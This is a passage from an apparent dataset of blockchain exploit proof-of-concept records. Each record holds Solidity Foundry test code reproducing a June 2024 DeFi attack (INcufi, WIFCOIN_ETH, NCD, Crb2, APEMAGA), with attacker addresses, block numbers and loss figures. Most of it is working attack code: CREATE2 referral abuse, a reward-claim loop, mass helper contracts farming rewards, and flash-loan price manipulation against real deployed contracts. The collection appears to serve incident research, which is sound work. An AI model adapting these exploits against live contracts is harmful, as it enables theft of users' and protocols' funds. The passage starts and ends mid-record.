apy;\n uint256 period;\n uint256 startdate;\n uint256 enddate;\n bool complet;\n address USer;\n uint256 withdraltime;\n uint256 PRice;\n uint256 decimal;\n // uint earningwithdralusd;\n uint256 earningwithdralAkita;\n }\n\n function listMyoID() external view returns (order[] memory);\n function register(\n address referrer\n ) external;\n function STAKE(uint256 amout, uint256 day, uint256 countryid) external;\n function withdral(\n uint256 id\n ) external;\n function swapCommision(\n uint256 amount\n ) external;\n}\n\ninterface IMoney {\n function getAdd() external returns (address);\n}\n\ncontract Exploit is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n INcufi Ncufi = INcufi(0x80df77b2Ae5828FF499A735ee823D6CD7Cf95f5a);\n IERC20 AKITADEF = IERC20(0x3213573C46eb905bA17F0Bb650E10C2352552e8a);\n address public One_referer;\n address public Two_referer;\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 39_729_927);\n deal(address(BUSD), address(this), 50_000 ether);\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"[End] Attacker BUSD before exploit\", BUSD.balanceOf(address(this)), 18);\n attack();\n emit log_named_decimal_uint(\"[End] Attacker Ncufi after exploit\", AKITADEF.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[End] Attacker BUSD after exploit\", BUSD.balanceOf(address(this)), 18);\n }\n\n function attack() public {\n //Step 1\n One_referer = create_contract(1);\n // address referer=IMoney(One_referer).getAdd();\n Two_referer = cal_address(2, address(this));\n Ncufi.register(Two_referer);\n\n //Step 2\n uint256 i = 0;\n BUSD.approve(address(Ncufi), 9_999_999_999 ether);\n while (i < 100) {\n Ncufi.STAKE(10_000 ether, 0, 1);\n vm.warp(block.timestamp + 100);\n INcufi.order[] memory orders = Ncufi.listMyoID();\n uint256 id = orders[i].id;\n Start(id);\n i++;\n }\n\n //End\n // emit log_named_decimal_uint(\"[End] victim Ncufi BUSD balance\", BUSD.balanceOf(address(Ncufi)), 18);\n AKITADEF.approve(address(Ncufi), type(uint256).max);\n Ncufi.swapCommision(59_643.218325 ether);\n }\n\n function Start(\n uint256 id\n ) public {\n Ncufi.withdral(id);\n uint256 A = AKITADEF.balanceOf(One_referer);\n uint256 B = AKITADEF.balanceOf(Two_referer);\n if (A > 0 || B > 0) {\n AKITADEF.transferFrom(address(One_referer), address(this), A);\n AKITADEF.transferFrom(address(Two_referer), address(this), B);\n }\n }\n\n function cal_address(uint256 time, address owner) internal returns (address) {\n bytes memory bytecode = type(Moneys).creationCode;\n uint256 _salt = time;\n bytecode = abi.encodePacked(bytecode, abi.encode(owner));\n bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(One_referer), _salt, keccak256(bytecode)));\n address hack_contract = address(uint160(uint256(hash)));\n return hack_contract;\n }\n\n function create_contracts(\n uint256 times\n ) internal returns (address) {\n bytes memory bytecode = type(Moneys).creationCode;\n uint256 _salt = times;\n bytecode = abi.encodePacked(bytecode);\n bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));\n address hack_contract = address(uint160(uint256(hash)));\n address addr;\n // Use create2 to Send money first.\n assembly {\n addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)\n }\n return hack_contract;\n }\n\n function create_contract(\n uint256 times\n ) internal returns (address) {\n bytes memory bytecode = type(Money).creationCode;\n uint256 _salt = times;\n bytecode = abi.encodePacked(bytecode);\n bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));\n address hack_contract = address(uint160(uint256(hash)));\n address addr;\n // Use create2 to Send money first.\n assembly {\n addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)\n }\n return hack_contract;\n }\n}\n\ncontract Money is Test {\n IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 AKITADEF = IERC20(0x3213573C46eb905bA17F0Bb650E10C2352552e8a);\n INcufi Ncufi = INcufi(0x80df77b2Ae5828FF499A735ee823D6CD7Cf95f5a);\n address Referer = 0xcFa207a442084a2c343996D09f06b40970247afF;\n uint256 constant PRECISION = 10 ** 18;\n address owner;\n address Moneysadd;\n\n constructor() {\n owner = msg.sender;\n AKITADEF.approve(address(msg.sender), type(uint256).max);\n Ncufi.register(Referer);\n address add = create_contracts(2, msg.sender);\n Moneysadd = add;\n }\n\n function getAdd() public returns (address) {\n require(owner == msg.sender, \"error\");\n return Moneysadd;\n }\n\n function create_contracts(uint256 times, address onwer) internal returns (address) {\n bytes memory bytecode = type(Moneys).creationCode;\n uint256 _salt = times;\n // bytecode = abi.encodePacked(bytecode);\n bytecode = abi.encodePacked(bytecode, abi.encode(owner));\n bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));\n address hack_contract = address(uint160(uint256(hash)));\n address addr;\n // Use create2 to Send money first.\n assembly {\n addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)\n }\n return hack_contract;\n }\n\n fallback() external payable {}\n}\n\ncontract Moneys is Test {\n IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 AKITADEF = IERC20(0x3213573C46eb905bA17F0Bb650E10C2352552e8a);\n INcufi Ncufi = INcufi(0x80df77b2Ae5828FF499A735ee823D6CD7Cf95f5a);\n address Referer = 0xEB1Df3Bed5bd20c010CAAd4EE18Ff7A697334E68;\n uint256 constant PRECISION = 10 ** 18;\n address owner;\n\n constructor(\n address aAddress\n ) {\n owner = aAddress;\n AKITADEF.approve(address(owner), type(uint256).max);\n Ncufi.register(msg.sender);\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "INcufi", "date": "2024-06", "file_name": "INcufi_exp.sol", "attack_vector": null, "content_hash": "e3552b10bc81b3df", "collected_at": "2026-01-07T10:59:16.520751", "_source": "postmortems", "chain": "bsc", "block_number": 39729927, "total_lost_raw": "~59643 USD", "total_lost_usd": 59643.0, "attacker_address": "https://bscscan.com/address/0xb6911dee6a5b1c65ad1ac11a99aec09c2cf83c0e", "attack_contract": "https://bscscan.com/address/0x4237d006471b38af0e1691c00d96193a8ff5709f", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": "~59643 USD", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"[End] Attacker BUSD before exploit\", BUSD.balanceOf(address(this)), 18);\n attack();\n emit log_named_decimal_uint(\"[End] Attacker Ncufi after exploit\", AKITADEF.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[End] Attacker BUSD after exploit\", BUSD.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://bscscan.com/address/0xb6911dee6a5b1c65ad1ac11a99aec09c2cf83c0e", "keyinfo_attack_contract": "https://bscscan.com/address/0x4237d006471b38af0e1691c00d96193a8ff5709f", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$59.6K", "content_richness_score": 7, "quality_estimate": "medium", "title": "INcufi Exploit (2024-06)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"../basetest.sol\";\nimport \"./../interface.sol\";\n\n// Profit : ~3.4 ETH\n// Attacker: https://etherscan.io/address/0x394ba273315240510b61ca22ba152e3478a45892\n// Attack Contract: https://etherscan.io/address/0x93d4f6f84d242c7959f8d1f1917ddbc9fb925ada\n// TX1 : https://etherscan.io/tx/0xda8f6a4bed7e5689a343d111632d37480c0316f1d20b732803c4bd482823e284\n// TX2 : https://etherscan.io/tx/0x58424115c6576b19cfb78b0b7ff00e0c13daa06d259f2a67210c112731519e09\n\n// GUY : https://x.com/ChainAegis/status/1802550962977964139\n\ninterface WIFStaking is IERC20 {\n function stake(uint256 _stakingId, uint256 _amount) external;\n function claimEarned(uint256 _stakingId, uint256 _burnRate) external;\n}\n\ncontract WIFCOIN_ETHExploit is BaseTestWithBalanceLog {\n WIFStaking WifStake = WIFStaking(0xA1cE40702E15d0417a6c74D0bAB96772F36F4E99);\n IERC20 Wif = IERC20(0xBFae33128ecF041856378b57adf0449181FFFDE7);\n\n Uni_Router_V2 router = Uni_Router_V2(payable(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)));\n uint256 ethFlashAmt = 0.3 ether;\n\n receive() external payable {}\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 20_103_189);\n Wif.approve(address(router), type(uint256).max);\n Wif.approve(address(WifStake), type(uint256).max);\n fundingToken = address(0);\n }\n\n function testExploit() public balanceLog {\n //Paths\n address[] memory buyPath = new address[](2);\n buyPath[0] = address(router.WETH()); // weth\n buyPath[1] = address(Wif); // token\n address[] memory sellPath = new address[](2);\n sellPath[0] = buyPath[1];\n sellPath[1] = buyPath[0];\n\n //set ethbal to 0.3 eth to buy tokens\n vm.deal(address(this), ethFlashAmt);\n router.swapExactETHForTokens{value: ethFlashAmt}(0, buyPath, address(this), block.timestamp);\n\n WifStake.stake(3, Wif.balanceOf(address(this)));\n while (true) {\n try WifStake.claimEarned(3, 10) {}\n catch {\n break;\n }\n }\n\n router.swapExactTokensForETH(Wif.balanceOf(address(this)), 0, sellPath, address(this), block.timestamp);\n\n //Remove initial flash eth to get actual ETH profit\n vm.deal(address(this), address(this).balance - ethFlashAmt);\n }\n}\n", "type": "exploit_poc", "protocol": "WIFCOIN_ETH", "date": "2024-06", "file_name": "WIFCOIN_ETH_exp.sol", "attack_vector": null, "content_hash": "56478ff278965548", "collected_at": "2026-01-07T10:59:16.520814", "_source": "postmortems", "chain": "ethereum", "block_number": 20103189, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": "https://etherscan.io/address/0x394ba273315240510b61ca22ba152e3478a45892", "attack_contract": "https://etherscan.io/address/0x93d4f6f84d242c7959f8d1f1917ddbc9fb925ada", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n //Paths\n address[] memory buyPath = new address[](2);\n buyPath[0] = address(router.WETH()); // weth\n buyPath[1] = address(Wif); // token\n address[] memory sellPath = new address[](2);\n sellPath[0] = buyPath[1];\n sellPath[1] = buyPath[0];\n\n //set ethbal to 0.3 eth to buy tokens\n vm.deal(address(this), ethFlashAmt);\n router.swapExactETHForTokens{value: ethFlashAmt}(0, buyPath, address(this), block.timestamp);\n\n WifStake.stake(3, Wif.balanceOf(address(this)));\n while (true) {\n try WifStake.claimEarned(3, 10) {}\n catch {\n break;\n }\n }\n\n router.swapExactTokensForETH(Wif.balanceOf(address(this)), 0, sellPath, address(this), block.timestamp);\n\n //Remove initial flash eth to get actual ETH profit\n vm.deal(address(this), address(this).balance - ethFlashAmt);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://etherscan.io/address/0x394ba273315240510b61ca22ba152e3478a45892", "keyinfo_attack_contract": "https://etherscan.io/address/0x93d4f6f84d242c7959f8d1f1917ddbc9fb925ada", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.16, "quality_estimate": "low", "title": "WIFCOIN_ETH Exploit (2024-06)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : $6.4K\n// Attacker : https://bscscan.com/address/0xd52f125085b70f7f52bd112500a9c334b7246984\n// Attack Contract : https://bscscan.com/address/0xfad2a0642a44a68606c2295e69d383700643be68\n// Attack Tx : https://bscscan.com/tx/0xbfb9b3b8a0d3c589a02f06c516b5c7b7569739edd00f9836645080f2148aefc7\n\n// GUY : https://x.com/SlowMist_Team/status/1797821034319765604\n\ninterface INcd is IERC20 {\n function mineStartTime(\n address\n ) external view returns (uint256);\n}\n\ncontract LetTheContractHaveRewards {\n IUniswapV2Pair private constant ncd_usdc_pair_ = IUniswapV2Pair(0x94Bb269518Ad17F1C10C85E600BDE481d4999bfF);\n INcd ncd_ = INcd(0x9601313572eCd84B6B42DBC3e47bc54f8177558E);\n\n function preStartTimeRewards() public /*onlyOwner*/ {\n ncd_usdc_pair_.skim(address(this));\n ncd_.transfer(address(ncd_usdc_pair_), ncd_.balanceOf(address(this)) * 5 / 100);\n ncd_.transfer(msg.sender, ncd_.balanceOf(address(this)));\n require(ncd_.mineStartTime(address(this)) > 0);\n }\n\n function ack() public /*onlyOwner*/ {\n //first, to get a reward\n ncd_.transfer(msg.sender, ncd_.balanceOf(address(this)));\n //seconds, to reward get msg.sender\n ncd_.transfer(msg.sender, ncd_.balanceOf(address(this)));\n }\n}\n\ncontract LetTheContractHaveUsdc is Test {\n IERC20 ncd_ = IERC20(0x9601313572eCd84B6B42DBC3e47bc54f8177558E);\n IERC20 usdc_ = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IRouter private constant router = IRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IUniswapV2Pair private constant ncd_usdc_pair_ = IUniswapV2Pair(0x94Bb269518Ad17F1C10C85E600BDE481d4999bfF);\n\n function withdraw() public {\n usdc_.approve(address(router), type(uint256).max);\n ncd_.approve(address(router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(ncd_);\n path[1] = address(usdc_);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n ncd_.balanceOf(address(this)) * 5 / 100, 0, path, address(this), type(uint256).max\n );\n\n ncd_.transfer(msg.sender, ncd_.balanceOf(address(this)));\n usdc_.transfer(msg.sender, usdc_.balanceOf(address(this)));\n }\n}\n\ncontract EuroExploit is Test {\n IERC20 ncd_ = IERC20(0x9601313572eCd84B6B42DBC3e47bc54f8177558E);\n IERC20 usdc_ = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IRouter private constant router = IRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IUniswapV2Pair private constant ncd_usdc_pair_ = IUniswapV2Pair(0x94Bb269518Ad17F1C10C85E600BDE481d4999bfF);\n\n LetTheContractHaveRewards[] letTheContractHaveRewardss;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 39_253_639);\n usdc_.approve(address(router), type(uint256).max);\n ncd_.approve(address(router), type(uint256).max);\n }\n\n function testExploit() public {\n deal(address(usdc_), address(this), 10 ether); //Assume this is an exchange for uniswap, not flashloan!\n emit log_named_decimal_uint(\"ack before usdc_ balance = \", usdc_.balanceOf(address(this)), usdc_.decimals());\n address[] memory path = new address[](2);\n path[0] = address(usdc_);\n path[1] = address(ncd_);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 10 ether, 0, path, address(this), type(uint256).max\n );\n ncd_.transfer(address(ncd_usdc_pair_), ncd_.balanceOf(address(this)) * 5 / 100);\n\n for (uint256 i = 0; i < 100; i++) {\n LetTheContractHaveRewards letTheContractHaveRewards = new LetTheContractHaveRewards();\n letTheContractHaveRewards.preStartTimeRewards();\n letTheContractHaveRewardss.push(letTheContractHaveRewards);\n }\n\n vm.warp(block.timestamp + 1 days);\n\n deal(address(usdc_), address(this), 10_000 ether); //flashloan 10000 usdc\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 10_000 ether, 0, path, address(this), type(uint256).max\n );\n for (uint256 i = 0; i < letTheContractHaveRewardss.length; i++) {\n LetTheContractHaveRewards letTheContractHaveRewards = letTheContractHaveRewardss[i];\n ncd_.transfer(address(letTheContractHaveRewards), ncd_.balanceOf(address(this)));\n letTheContractHaveRewards.ack();\n }\n while (ncd_.balanceOf(address(this)) > 1000 ether) {\n // for(uint256 i = 0; i < 100; i++){\n LetTheContractHaveUsdc letTheContractHaveUsdc = new LetTheContractHaveUsdc();\n ncd_.transfer(address(letTheContractHaveUsdc), ncd_.balanceOf(address(this)));\n letTheContractHaveUsdc.withdraw();\n }\n\n usdc_.transfer(address(0xdead), 10_030 ether); // repay flashLoan\n emit log_named_decimal_uint(\"profit usdc_ balance = \", usdc_.balanceOf(address(this)), usdc_.decimals());\n }\n}\n", "type": "exploit_poc", "protocol": "NCD", "date": "2024-06", "file_name": "NCD_exp.sol", "attack_vector": "flash_loan", "content_hash": "02368c90fb4219c8", "collected_at": "2026-01-07T10:59:16.520856", "_source": "postmortems", "chain": "bsc", "block_number": 39253639, "total_lost_raw": "$6.4K", "total_lost_usd": 6400.0, "attacker_address": "https://bscscan.com/address/0xd52f125085b70f7f52bd112500a9c334b7246984", "attack_contract": "https://bscscan.com/address/0xfad2a0642a44a68606c2295e69d383700643be68", "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0xbfb9b3b8a0d3c589a02f06c516b5c7b7569739edd00f9836645080f2148aefc7", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "low", "severity_raw": "$6.4K", "category": "flash-loan", "exploit_code": "function testExploit() public {\n deal(address(usdc_), address(this), 10 ether); //Assume this is an exchange for uniswap, not flashloan!\n emit log_named_decimal_uint(\"ack before usdc_ balance = \", usdc_.balanceOf(address(this)), usdc_.decimals());\n address[] memory path = new address[](2);\n path[0] = address(usdc_);\n path[1] = address(ncd_);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 10 ether, 0, path, address(this), type(uint256).max\n );\n ncd_.transfer(address(ncd_usdc_pair_), ncd_.balanceOf(address(this)) * 5 / 100);\n\n for (uint256 i = 0; i < 100; i++) {\n LetTheContractHaveRewards letTheContractHaveRewards = new LetTheContractHaveRewards();\n letTheContractHaveRewards.preStartTimeRewards();\n letTheContractHaveRewardss.push(letTheContractHaveRewards);\n }\n\n vm.warp(block.timestamp + 1 days);\n\n deal(address(usdc_), address(this), 10_000 ether); //flashloan 10000 usdc\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 10_000 ether, 0, path, address(this), type(uint256).max\n );\n for (uint256 i = 0; i < letTheContractHaveRewardss.length; i++) {\n LetTheContractHaveRewards letTheContractHaveRewards = letTheContractHaveRewardss[i];\n ncd_.transfer(address(letTheContractHaveRewards), ncd_.balanceOf(address(this)));\n letTheContractHaveRewards.ack();\n }\n while (ncd_.balanceOf(address(this)) > 1000 ether) {\n // for(uint256 i = 0; i < 100; i++){\n LetTheContractHaveUsdc letTheContractHaveUsdc = new LetTheContractHaveUsdc();\n ncd_.transfer(address(letTheContractHaveUsdc), ncd_.balanceOf(address(this)));\n letTheContractHaveUsdc.withdraw();\n }\n\n usdc_.transfer(address(0xdead), 10_030 ether); // repay flashLoan\n emit log_named_decimal_uint(\"profit usdc_ balance = \", usdc_.balanceOf(address(this)), usdc_.decimals());\n }", "has_exploit_code": true, "keyinfo_total_lost": "$6.4K", "keyinfo_attacker": "https://bscscan.com/address/0xd52f125085b70f7f52bd112500a9c334b7246984", "keyinfo_attack_contract": "https://bscscan.com/address/0xfad2a0642a44a68606c2295e69d383700643be68", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0xbfb9b3b8a0d3c589a02f06c516b5c7b7569739edd00f9836645080f2148aefc7", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$6.4K", "content_richness_score": 8.52, "quality_estimate": "high", "title": "NCD Exploit (2024-06)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : 15k\n// Attacker : https://bscscan.com/address/0x65bba34c11add305cb2a1f8a68cecbd6e75089cd\n// Attack Contract : https://bscscan.com/address/0x73ceea4C6571DbCf9BCc9eA77b1D8107b1D46280\n// Vulnerable Contract : https://bscscan.com/address/0xee6De822159765daf0Fd72d71529d7ab026ec2f2\n// Attack Tx : https://bscscan.com/tx/0xde59f5bd65e8f48e5b6137a3b4251afbb9b6240d1036fa6f030e21ab6d950aac\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xee6De822159765daf0Fd72d71529d7ab026ec2f2#code\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy :\n// Hacking God :\npragma solidity ^0.8.0;\n\ncontract crb2 is Test {\n uint256 blocknumToForkFrom = 39_651_175;\n address user = 0x65bBA34C11aDd305cB2A1f8A68ceCbd6E75089Cd;\n IERC20 crb_token;\n IERC20 busd;\n address pair;\n Uni_Pair_V3 flashLoan;\n IRouter router;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n vm.deal(user, 0.2 ether);\n\n router = IRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n crb_token = IERC20(0xee6De822159765daf0Fd72d71529d7ab026ec2f2);\n busd = IERC20(0x55d398326f99059fF775485246999027B3197955);\n pair = 0x03b051dF794b36E1767cD083fFfDEbbF573eCDA6;\n flashLoan = Uni_Pair_V3(0x46Cf1cF8c69595804ba91dFdd8d6b960c9B0a7C4);\n\n busd.approve(address(router), type(uint256).max);\n\n crb_token.approve(address(router), type(uint256).max);\n }\n\n function testExploit() public {\n vm.startPrank(user, user);\n busd.approve(address(router), type(uint256).max);\n busd.approve(address(this), type(uint256).max);\n crb_token.approve(address(this), type(uint256).max);\n vm.stopPrank();\n emit log_named_decimal_uint(\"busd\", busd.balanceOf(address(user)), 18);\n\n flashLoan.flash(address(this), 50_000 * 1e18, 0, new bytes(1));\n emit log_named_decimal_uint(\"busd\", busd.balanceOf(address(user)), 18);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) public {\n address[] memory buyPath = new address[](2);\n buyPath[0] = address(busd);\n buyPath[1] = address(crb_token);\n\n address[] memory sellPath = new address[](2);\n sellPath[0] = address(crb_token);\n sellPath[1] = address(busd);\n\n for (uint256 index = 0; index < 70; index++) {\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n busd.balanceOf(address(pair)) / 10, 0, buyPath, address(this), block.timestamp\n );\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n crb_token.balanceOf(address(this)), 0, sellPath, address(this), block.timestamp\n );\n }\n busd.transfer(address(crb_token), 2000 * 1e18);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 6_635_861_088_657_488_493_824, 0, buyPath, address(user), block.timestamp\n );\n\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(1e18, 0, buyPath, address(this), block.timestamp);\n uint256 amount = crb_token.balanceOf(address(this)) / 10_000;\n for (uint256 index = 0; index < 100; index++) {\n crb_token.transfer(address(crb_token), amount);\n }\n busd.transfer(address(crb_token), 2000 * 1e18);\n for (uint256 index = 0; index < 250; index++) {\n crb_token.transfer(address(crb_token), amount);\n }\n crb_token.transferFrom(user, address(this), crb_token.balanceOf(address(user)) / 2);\n crb_token.transfer(address(crb_token), crb_token.balanceOf(address(this)) - amount * 10_000);\n busd.transferFrom(user, address(this), busd.balanceOf(address(user)));\n\n for (uint256 index = 0; index < 3000; index++) {\n crb_token.transfer(address(crb_token), amount);\n }\n\n busd.transfer(address(flashLoan), 50_025 * 1e18);\n busd.transfer(user, busd.balanceOf(address(this)));\n }\n}\n", "type": "exploit_poc", "protocol": "Crb2", "date": "2024-06", "file_name": "Crb2_exp.sol", "attack_vector": "flash_loan", "content_hash": "e18f3c53ac781372", "collected_at": "2026-01-07T10:59:16.520907", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "15k", "total_lost_usd": 15000.0, "attacker_address": "https://bscscan.com/address/0x65bba34c11add305cb2a1f8a68cecbd6e75089cd", "attack_contract": "https://bscscan.com/address/0x73ceea4C6571DbCf9BCc9eA77b1D8107b1D46280", "vulnerable_contract": "https://bscscan.com/address/0xee6De822159765daf0Fd72d71529d7ab026ec2f2", "attack_tx": "https://bscscan.com/tx/0xde59f5bd65e8f48e5b6137a3b4251afbb9b6240d1036fa6f030e21ab6d950aac", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "15k", "category": "flash-loan", "exploit_code": "function testExploit() public {\n vm.startPrank(user, user);\n busd.approve(address(router), type(uint256).max);\n busd.approve(address(this), type(uint256).max);\n crb_token.approve(address(this), type(uint256).max);\n vm.stopPrank();\n emit log_named_decimal_uint(\"busd\", busd.balanceOf(address(user)), 18);\n\n flashLoan.flash(address(this), 50_000 * 1e18, 0, new bytes(1));\n emit log_named_decimal_uint(\"busd\", busd.balanceOf(address(user)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "15k", "keyinfo_attacker": "https://bscscan.com/address/0x65bba34c11add305cb2a1f8a68cecbd6e75089cd", "keyinfo_attack_contract": "https://bscscan.com/address/0x73ceea4C6571DbCf9BCc9eA77b1D8107b1D46280", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xee6De822159765daf0Fd72d71529d7ab026ec2f2", "keyinfo_attack_tx": "https://bscscan.com/tx/0xde59f5bd65e8f48e5b6137a3b4251afbb9b6240d1036fa6f030e21ab6d950aac", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$15.0K", "content_richness_score": 9.06, "quality_estimate": "high", "title": "Crb2 Exploit (2024-06)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// Profit : ~9 ETH\n// TX : https://app.blocksec.com/explorer/tx/eth/0x6beb21b53f5b205c088570333ec875b720e333b49657f7026b01ed72b026851e?line=19\n// Attacker : https://etherscan.io/address/0xb297735e9fb3e695ccce3963bfe042f318901ea0\n// Attack Contract : https://etherscan.io/address/0x8de6314058c0b7eea809881d73e69b425c01f0b5#code\n// Vulnerable Contract : https://etherscan.io/address/0x56ff4afd909aa66a1530fe69bf94c74e6d44500c\n// GUY : https://x.com/ChainAegis/status/1806297556852601282\n\ninterface APEMAGA is IERC20 {\n function family(\n address account\n ) external;\n}\n\ncontract ContractTest is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x85705829c2f71EE3c40A7C28f6903e7c797c9433);\n IUniswapV2Router uniswapv2 = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));\n APEMAGA Apemaga = APEMAGA(0x56FF4AfD909AA66a1530fe69BF94c74e6D44500C);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n\n function setUp() external {\n cheats.createSelectFork(\"mainnet\", 20_175_261);\n deal(address(WETH), address(this), 9 ether);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker WETH before exploit\", WETH.balanceOf(address(this)), 18);\n attack();\n emit log_named_decimal_uint(\"[End] Attacker WETH after exploit\", WETH.balanceOf(address(this)), 18);\n }\n\n function attack() public {\n swap_token_to_ExactToken(0.1 ether, address(WETH), address(Apemaga), 8000 ether);\n // emit log_named_decimal_uint(\"[End] Attacker token before exploit\", Apemaga.balanceOf(address(this)), Apemaga.decimals());\n\n Apemaga.family(address(Pair));\n Apemaga.family(address(Pair));\n Apemaga.family(address(Pair));\n\n Pair.sync();\n\n address[] memory addrPath = new address[](2);\n addrPath[0] = address(Apemaga);\n addrPath[1] = address(WETH);\n Apemaga.approve(address(uniswapv2), 99_999_999 ether);\n uniswapv2.swapExactTokensForTokens(\n Apemaga.balanceOf(address(this)), 0, addrPath, address(this), type(uint256).max\n );\n }\n\n function swap_token_to_ExactToken(uint256 amount, address a, address b, uint256 amountInMax) public payable {\n IERC20(a).approve(address(uniswapv2), amountInMax);\n address[] memory path = new address[](2);\n path[0] = address(a);\n path[1] = address(b);\n uniswapv2.swapExactETHForTokens{value: amount}(0, path, address(this), block.timestamp + 120);\n }\n}\n", "type": "exploit_poc", "protocol": "APEMAGA", "date": "2024-06", "file_name": "APEMAGA_exp.sol", "attack_vector": null, "content_hash": "542b7ca34c233dff", "collected_at": "2026-01-07T10:59:16.520958", "_source": "postmortems", "chain": "ethereum", "block_number": 20175261, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": "https://etherscan.io/address/0xb297735e9fb3e695ccce3963bfe042f318901ea0", "attack_contract": "https://etherscan.io/address/0x8de6314058c0b7eea809881d73e69b425c01f0b5#code", "vulnerable_contract": "https://etherscan.io/address/0x56ff4afd909aa66a1530fe69bf94c74e6d44500c", "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function attack() public {\n 